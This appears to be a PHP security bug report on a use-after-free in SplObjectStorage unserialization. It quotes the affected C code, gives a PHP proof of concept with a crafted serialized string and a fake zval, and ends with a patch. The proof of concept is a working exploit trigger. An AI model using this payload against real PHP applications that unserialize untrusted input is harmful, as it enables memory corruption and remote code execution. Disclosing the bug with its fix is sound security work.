Description:
------------
```
		ALLOC_INIT_ZVAL(pentry);
		if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
			zval_ptr_dtor(&pentry);
			goto outexcept;
		}
		var_push_dtor(&var_hash, &pentry);
		if(Z_TYPE_P(pentry) != IS_OBJECT) {
			goto outexcept;
		}
		ALLOC_INIT_ZVAL(pinf);
		if (*p == ',') { /* new version has inf */
			++p;
			if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
				zval_ptr_dtor(&pinf);
				goto outexcept;
			}
		}
```

it has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. and during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC:
```
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
	$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```

fix:
```
		ALLOC_INIT_ZVAL(pentry);
		if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
			zval_ptr_dtor(&pentry);
			goto outexcept;
		}
+		var_push_dtor(&var_hash, &pentry);
		if(Z_TYPE_P(pentry) != IS_OBJECT) {
			zval_ptr_dtor(&pentry);
			goto outexcept;
		}
		ALLOC_INIT_ZVAL(pinf);
		if (*p == ',') { /* new version has inf */
			++p;
			if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
				zval_ptr_dtor(&pinf);
				goto outexcept;
			}
+			var_push_dtor(&var_hash, &pinf);
		}
```